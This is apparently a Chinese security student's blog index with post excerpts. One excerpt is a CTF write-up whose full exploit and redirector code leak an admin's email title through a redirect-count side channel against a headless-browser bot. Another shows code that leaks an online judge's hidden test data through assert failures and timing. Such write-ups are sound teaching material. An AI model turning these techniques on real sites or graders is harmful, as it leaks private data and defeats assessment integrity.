puppeteer

定型文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
FROM node:24-slim

# Install Chrome dependencies
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true

ENV XDG_CONFIG_HOME=/tmp/.chromium \
XDG_CACHE_HOME=/tmp/.chromium

RUN apt-get update && apt-get install -y --no-install-recommends \
gnupg2 wget ca-certificates \
&& wget -qO- https://dl.google.com/linux/linux_signing_key.pub \
| gpg --dearmor > /usr/share/keyrings/google-linux-signing-keyring.gpg \
&& echo "deb [arch=amd64 signed-by=/usr/share/keyrings/google-linux-signing-keyring.gpg] \
http://dl.google.com/linux/chrome/deb/ stable main" \
> /etc/apt/sources.list.d/google-chrome.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends google-chrome-stable \
&& rm -rf /var/lib/apt/lists/*

如果用Node.js中的puppeteer:

1
2
3
4
5
6
7
8
9
WORKDIR /app
COPY package*.json ./

RUN npm install

COPY app /app

EXPOSE 8080
CMD [ "node", "server.js" ]
阅读全文 »

我最喜欢的一道题。

题干

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// server.js
app.get('/mail-search/:lang', (req, res) => {
// ...
if(mails.length === 0){
return res.render('index', {
title: `搜索结果 - ${query}`,
content: `<p>未找到相关邮件。</p>`,
current: -1,
user: user,
list: db.prepare(`SELECT * FROM emails WHERE user = ?`).all(user).map(row => ({
id: row.id,
title: lang === 'zh' ? row.title_zh : row.title_en
}))
})
}
if(mails.length === 1){
return res.redirect(`/mail/${lang}/${mails[0].id}`)
}
if(mails.length > 1) {
return res.render('index', {
title: `搜索结果 - ${query}`,
content: `<p>找到 ${mails.length} 封相关邮件,请从侧边栏选择。</p>`,
current: -1,
user: user,
list: mails.map(row => ({
id: row.id,
title: lang === 'zh' ? row.title_zh : row.title_en
}))
})}
// ...
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// bot.js
router.get('/', async (req, res) => {
// ...
try {
browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
const p = await browser.newPage();
p.setDefaultTimeout(10000);

await browser.setCookie({
name: 'secret',
value: adminKey,
domain: 'localhost:8080',
httpOnly: true});

// 这一定是一个不同以往的浪漫故事♪
await p.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 8000 });

// you have only 400ms if you have some CSS-based XSS attack
await new Promise(r => setTimeout(r, 400));

// you have to make your payload create a delay more than 2000ms
// if you want to use time-based side-channel attack
await new Promise(r => setTimeout(r, Math.round(Math.random() * 4000)));

// 极端体验:怅然若失
await browser.close();

// 结局,如我们所书
return res.end("Admin visited your site.");
} catch (error) {
console.log(error);
return res.end("Don't hack my puppeteer.")
} finally {
if (browser) {
await browser.close().catch(console.error);
}
}
// ...
});

现在flag就在管理员的邮箱里,具体的说是管理员邮箱里一封邮件的标题。

Writeup

请读文档:https://fetch.spec.whatwg.org/#http-redirect-fetch

4.5. HTTP-redirect fetch
To HTTP-redirect fetch, given a fetch params fetchParams and a response response, run these steps:

  1. Let request be fetchParams’s request.
  2. Let internalResponse be response, if response is not a filtered response; otherwise response’s internal response.
  3. Let locationURL be internalResponse’s location URL given request’s current URL’s fragment.
  4. If locationURL is null, then return response.
  5. If locationURL is failure, then return a network error.
  6. If locationURL’s scheme is not an HTTP(S) scheme, then return a network error.
  7. If request’s redirect count is 20, then return a network error.
  8. Increase request’s redirect count by 1.
  9. If request’s mode is “cors”, locationURL includes credentials, and request’s origin is not same origin with locationURL’s origin, then return a network error.
  10. If request’s response tainting is “cors” and locationURL includes credentials, then return a network error.

请看第7条:If request’s redirect count is 20, then return a network error. 当邮件搜索的结果恰好为1封邮件时,服务器会返回一个重定向响应.

那么,What if the attacker redirected their own page 18 times and then redirected it to the victim’s website?

答案是:puppeteer会进入catch分支,返回”Don’t hack my puppeteer.”,那么我们就实现了正误输入的差分。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// exp.js
const ROOT = "http://127.0.0.1:54423"

const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-{}"

let prefix="ZJUCTF{";
(async ()=>{
for(let i=0;i<32;i++){
for(let c of charset){
let attempt = prefix + c
process.stdout.write(`Trying ${attempt}\r`)
let resp = await fetch(`${ROOT}/bot?url=http://10.197.137.96:3000/redirect/18/?url=http://localhost:8080/mail-search/zh?q=${encodeURIComponent(attempt)}`)
let text = await resp.text()
if(text.includes("hack")){
prefix += c
console.log(`Found character: ${c}, prefix now: ${prefix}`)
break
}
}
}
})();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// redirector.js
const express = require('express');
const app = express();
const port = 3000;

app.use(express.urlencoded({ extended: true }));

app.get('/redirect/:remain_times', (req, res) => {
const remainTimes = parseInt(req.params.remain_times);
const targetUrl = req.query.url;

if (remainTimes === 0) {
console.log(`最终重定向到: ${targetUrl}`);
return res.redirect(targetUrl);
}
const nextRemainTimes = remainTimes - 1;
const nextUrl = `/redirect/${nextRemainTimes}?url=${encodeURIComponent(targetUrl)}`;

console.log(`当前剩余次数: ${remainTimes}, 下一次重定向到: ${nextUrl}`);

res.redirect(nextUrl);
});

app.listen(port, () => {
console.log(`重定向工具服务运行在 http://localhost:${port}`);
});
阅读全文 »

前排滑跪致歉:对不起给大家喂💩了

TL;DR

出这一题时设想的是出一道AI做不出来的题,如何做不出呢,那自然是token数得多;正好当时在干另外一个事情,就是将一个C代码转为AST,然后解析AST,进行一系列注入标识符替换,运算符提取,控制流展平等等一系列操作,输出一个等价但AST树几乎变样的C代码,用来绕过PTA的检测。

那么就有了这道题:将AST还原为C代码。

降低难度,直接运行还原后的代码会直接输出flag。

为了增加难度(防止根据loc信息直接把源代码还原出来),我们删除了loc,range,name信息,按理来说接下来就是人肉IDA的时间了。

预期的解法是:

  1. 手写一个AST to C的脚本(应该是没有现成的工具的)
  2. 输出每个节点的信息,手动肉眼看看(可能需要一点耐心,而且还很费眼,所以推荐第一种解法)

然后遇到了这两件事

  1. 有人直接把JSON文件拖到Gemini里,然后就直接还原了(现在的AI已经发展到了一种我无法理解的水平.jpg)
  2. clang生成的AST json文件里还有一个键,叫做mangledName,里面存储的是函数/全局变量的原始名字,那这直接看名字就能猜到里面在干什么了还逆个啥啊,导致预期第二种解法难度急剧下降。

总而言之这一题确实有点坏心眼在,然后玩的时候没玩好把自己绕进去了,导致出来的就是这么一道意义不明的题目。以后一定注意。

阅读全文 »

picoGym 难度偏易,适合给人提供信心。

是一个 non-competitive 的 CTF 练习平台

打算当练习场玩玩(复健.jpg),这里打算随缘记记writeup,不过难度不大(可能记录的意义也不大)

阅读全文 »

突然想到了去年学程算时整出来的奇技淫巧,在这里分享一下。

背景:遇到了一些幽默题目,不知道测试数据是什么,有没有办法把它偷出来?

基于assert二分猜,但是一次透的bit数有点低

1
2
3
4
5
6
7
8
9
#include <assert.h>

...

int main() {
int n;
scanf("%d", &n);
assert(n >= value);
}

n < value时,PTA报错:’运行时错误’(Runtime Error),通过不断调整value的值,可以二分猜出n的值。

基于时间获取数据

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <time.h>

int main() {
int n;
scanf("%d", &n);

int data_to_steal = n%100;// for example.
clock_t start = clock();

while (clock() - start < data_to_steal * CLOCKS_PER_SEC / 100);

return 0;
}

通过这种方式,通过评测机输出的“用时”这一栏目,可以偷出data_to_steal的值。

阅读全文 »

TODO: 我也是初学者,这里的东西主要是我以一个初学者的视角折腾相关东西的记录,大抵是充满错误的。等我再努力努力应该能返回来修正。仅供参考。
https://github.com/SunWeb3Sec/DeFiHackLabs 很遗憾,看起来这个仓库维护的一般,主要体现在: 一些/past/xx中的shell没办法运行 环境的配置不够清晰 当然,也有可能是随着时间更新,各种依赖出现了breaking change导致的。 无论如何,以下是在2025/10/27把DeFiHackLabs跑起来的步骤,供大家参考。 对应的DeFiHackLabs版本是commit dd6934。 正确下载DeFi...
阅读全文 »

叠甲环节:以下内容仅仅基于我个人的实验体验。事实上,考虑到我上课基本没听过,以下内容中很有可能包含(或完全包含)课堂上讲过/助教讲过的内容。
如果是的话,就当补课了,希望路过的人能提出一下。 众所周知,在计算机系统中我们会接触到一个差分测试框架(如果你觉得没接触过,那就太可惜了,在“进行仿真测试,以检验 CPU 基本功能”那一步,你必然会见识到以[CJ]开头的一系列错误)。 如果根本没有看过实验文档(像我一样),在遇到[error] check board set 1 error时第一反应应该是这tm是啥,然后尝试Google这个报错信息,然后就会发现:这tm真是个罕见框架,网上一点相关的信息都没有(笑呆了,这个框...
阅读全文 »
0%